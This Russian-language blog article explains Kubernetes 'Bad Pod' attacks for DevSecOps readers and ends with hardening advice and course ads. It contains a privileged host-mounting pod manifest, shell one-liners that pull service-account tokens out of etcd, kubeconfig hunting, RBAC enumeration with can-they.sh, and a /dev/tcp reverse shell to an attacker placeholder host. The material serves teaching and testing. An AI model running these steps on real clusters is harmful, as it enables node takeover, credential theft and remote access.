Обычно, когда мы говорим о безопасности Kubernetes, мы прежде всего говорим о защите подов от внешних угроз, но в некоторых случаях они сами могут представлять определенную опасность. Для того, чтобы эти угрозы мог реализовать атакующий, у него должны быть доступ к кластеру, разрешение RBAC на создание одного некоторых типов ресурсов (CronJob, DeamonSet, Deployment, Job, Pod, ReplicaSet, ReplicationController, StatefulSet) хотя бы в одном пространстве имен, и также должны отсутствовать политики безопасности. Если у вас все это есть — тогда мы идем к вам в этой статье мы рассмотрим какие атаки из подов вам могут грозить. А даже если есть не все, то особенно расслабляться все равно не стоит.
Когда можно все
Начнем с классического Bad Pod, позволяющего подключить файловую систему хостового узла и выполнить на нем любую команду. По сути, здесь можно представить ситуацию, когда у атакующего есть возможность запустить любой под в системе.
Манифест для нашего плохиша будет иметь следующий вид:
apiVersion: v1
kind: Pod
metadata:
name: everything-allowed-exec-pod
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: everything-allowed-pod
image: ubuntu
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
#nodeName: k8s-control-plane-node # Указываем ноду управления
volumes:
- name: noderoot
hostPath:
path: /
Здесь мы разрешаем контейнеру использовать сеть, делиться пространством имен хостовой машины, а также использовать пространство межпроцессной коммуникации (параметры host* в блоке spec). Контекст безопасности у нас указан privileged: true, что означает наличие у контейнера полных привилегий root в хостовой системе. И в довершение всего мы монтируем корневую файловую систему в наш контейнер. В общем, что называется полный фарш.
Обратите внимание на закомментированную строку nodeName, в ней мы указываем на какой ноде запускать под, в случае, если у нас несколько нод интереснее всего ее запускать на управляющей ноде control‑plane. В случае с моим minikube в примерах у меня всего одна нода и эту строку можно не раскомментировать, но если нод несколько, то необходимо указать управляющую.
Давайте запустим наш под и посмотрим, что можно с его помощью сделать. В моих примерах используется свежеустановленный Minikube версии 1.35, в других реализациях k8s результат будет отличаться.
Выполним:
kubectl apply -f allowed_1.yaml
kubectl exec -it everything-allowed-exec-pod -- chroot /host bash
Итак, у нас есть права root на хостовой машине, давайте для начала попробуем прочитать содержимое базы etcd и поискать в ней что‑нибудь интересное. Напомним, что etcd — это распределённая база данных с ключами и значениями, которая используется как хранилище всех данных кластера в Kubernetes.
Для этого нам необходимо сначала убедиться, что процесс запущен и узнать путь к базе etcd. Для этого воспользуемся следующей конструкцией:
ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir

Теперь мы знаем путь к базе и можем посмотреть ее содержимое. В случае, если у вас тоже отсутствуют используемые ниже команды strings и less, то установить их можно с помощью
apt-get update
apt-get install binutils less
Ну а сам запрос на просмотр etcd будет иметь следующий вид:
strings /var/lib/minikube/etcd/member/snap/db | less
Здесь мы можем наблюдать много всего интересного:

Ниже представлены примеры двух многострочников, с помощью которых мы извлекаем токены для сервисных аккаунтов и дефолтный токен для пространства имен kube‑system:
db=strings /var/lib/minikube/etcd/member/snap/db
; for x in echo "$db" | grep eyJhbGciOiJ
; do name=echo "$db" | grep $x -B40 | grep registry
; echo $name \| $x; echo; done
db=strings /var/lib/minikube/etcd/member/snap/db
; for x in echo "$db" | grep eyJhbGciOiJ
; do name=echo "$db" | grep $x -B40 | grep registry
; echo $name \| $x; echo; done | grep kube‑system | grep default
В итоге для моего minikube получилось следующее:

Как видно, здесь присутствуют токены, которые затем злоумышленник может использовать для своих задач.
Когда нет kubectl
Как правило умолчанию на узлах k8s не установлен kubectl. Если вам повезло, то администратор попытался немного облегчить свою (и вашу) жизнь, установив kubectl и свои привилегированные учетные данные на узел. Но что можно сделать если kubectl нет как в моем случае. Для начала давайте поищем конфигурацию нашего кластера с помощью следующего набора команд:
Для начала поищем kubeconfig
find / -name kubeconfig
find / -name .kube
grep -R "current-context" /home/
grep -R "current-context" /root/
В результате мы узнаем где находится конфигурация нашего кластера и есть ли у нас каталог.kube. В моем случае конфигурация лежит в каталоге
/var/lib/minikube/kubeconfig
А /root/.kube оказался предсказуемо пуст.
Теперь давайте установим и настроим kubectl. Установить можно различными способами, я воспользуюсь curl:
curl -LO https://storage.googleapis.com/kubernetes-release/release/\
$(curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt)\
/bin/linux/amd64/kubectl
install kubectl /usr/local/bin/kubectl
Сейчас наш kubectl не видит кластер, исправим это скопировав файл конфигурации:
cp /var/lib/minikube/kubeconfig /root/.kube/config
Теперь все работает:

У нас есть основной инструмент администратора k8s. И с его помощью можно сделать много всего интересного.
И снова грабим токены
Также, для того, чтобы наиболее эффективно разжиться полезностями в виде токенов предлагаем воспользоваться скриптом can‑they.sh, который можно загрузить по ссылке https://github.com/BishopFox/badPods/blob/main/scripts/can‑they.sh
Создадим файл со скриптом внутри нашего пода‑плохиша и назначим ему права на исполнение
chmod +x
can-they.sh
Далее этот скрипт можно запустить без параметров и получить большую простыню с описанием того, что мы можем выполнить в кластере и какие токены для этого нужны. А можно сделать целевые запросы, чтобы узнать что‑то конкретное, например:
./can-they.sh -i "--list -n kube-system"
./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"
./can-they.sh -i "create pods -n kube-system"
./can-they.sh -i "create clusterrolebindings"
Так на мой запрос о секретах данный скрипт показал следующее:

Как видно, под‑плохиш, позволяющий выполнять любые команды может создать довольно существенную дыру в безопасности.
А если ничего нельзя?
Ранее мы рассматривали «идеальный» вариант, когда можно все. Теперь рассмотрим зекральную ситуацию, когда все запрещено. То есть у нас нет возможности запустить с privileged, hostNetwork, hostIPC и т. д. Мы можем просто создать под с унылым содержимым, аналогичным следующему:
apiVersion: v1
kind: Pod
metadata:
name: nothing-allowed-exec-pod
labels:
app: pentest
spec:
containers:
- name: nothing-allowed-pod
image: ubuntu
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
apiVersion: v1
kind: Pod
metadata:
name: nothing-allowed-exec-pod
labels:
app: pentest
spec:
containers:
- name: nothing-allowed-pod
image: ubuntu
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
Как видно, никаких плюшек, позволяющих выполнить что‑то привилегированное здесь нет. Но не все так плохо. Здесь мы можем использовать старый добрый реверс шелл.
Просто реверс
Для злоумышленника полезно иметь доступ к своему плохому поду извне. Чтобы это реализовать ему нужно создать reverse shell из пода на узел атакующего. Этот способ мы могли также использовать и на рассматриваемом ранее everything‑allowed, передав ему в качестве команды
bash -i >& /dev/tcp/IP_атакующего/порт 0>&1
где IP_атакующего это узел, к которому будет выполняться подключение и соответствующий порт.
Однако, в случае с отсутствием других прав в кластере реверс шелл является более актуальным. Полный синтаксис для nothing‑allowed‑exec‑pod
kubectl exec –it nothing-allowed-exec-pod -- bash -i >& /dev/tcp/ IP_атакующего/порт 0>&1
При этом на самой машине атакующего необходимо включить прослушивание соответствующего порта:
ncat -vlp порт
На изображении ниже первые две строки — это запуск пода плохиша, а все остальное, это shell на машине атакующего.

В результате получаем доступ в кластер извне.
Что делать?
Вот лишь некоторые примеры плохих подов, которые могут быть запущены в вашем кластере. На самом деле можно также рассмотреть промежуточные ситуации, когда, у нас допустим отсутствуют права privileged, но есть hostNetwork и т. д.
Однако, общий смысл я думаю понятен. Для начала DevSecOps инженеру необходимо понять действиетльно ли нужны все эти права пользователям кластера (скорее всего нет). Затем, с наступлением понимания избыточности имеющихся прав необходимо политиками запретить запуск привилегированных контейнеров и другие небезопасные действия.
Что касается сети, то здесь необходимо использовать сети Istio, или аналогичные решения, позволяющие контролировать обмен трафиком между подами в кластере. Также необходимо на регулярной основе вести мониторинг происходящего в кластере, для того, что своевременно выявлять попытки запуска потенциальных bad pod. А для этого лучшим средством является передача событий с кластера в SIEM.
Заключение
В этой статье мы поговорили о том, что такое Bad Pod и рассмотрели некоторые атаки, которые можно реализовать при наличии определенных прав в кластере. Конечно, в продуктивных системах по идее все должно быть закручено жестче, но инженерам DevSecOps и специалистам по ИБ стоило бы на регулярной основе проверять защищенность кластера в том числе с помощью атак типа Bad Pods, описанных в этой статье. Это позволит увеличить защищенность кластера k8s в целом.
Если вы хотите не только углубить знания в области информационной безопасности, но и научиться эффективно взаимодействовать с командами и выстраивать процессы, рекомендую посетить открытые уроки:
7 мая, 20:00
DevSecOps, AppSec, Pentest — где начинается одно и заканчивается другое?
Урок для тех, кто хочет разобраться в тонких различиях между направлениями информационной безопасности. Мы изучим, как они пересекаются, чем каждое из них важно, и какие задачи решает.21 мая, 20:00
Softskill для DevSecOps
Урок о том, как выстраивать эффективное взаимодействие внутри команды и с другими подразделениями. Обсудим важность киберграмотности и роль человеческого фактора в безопасности.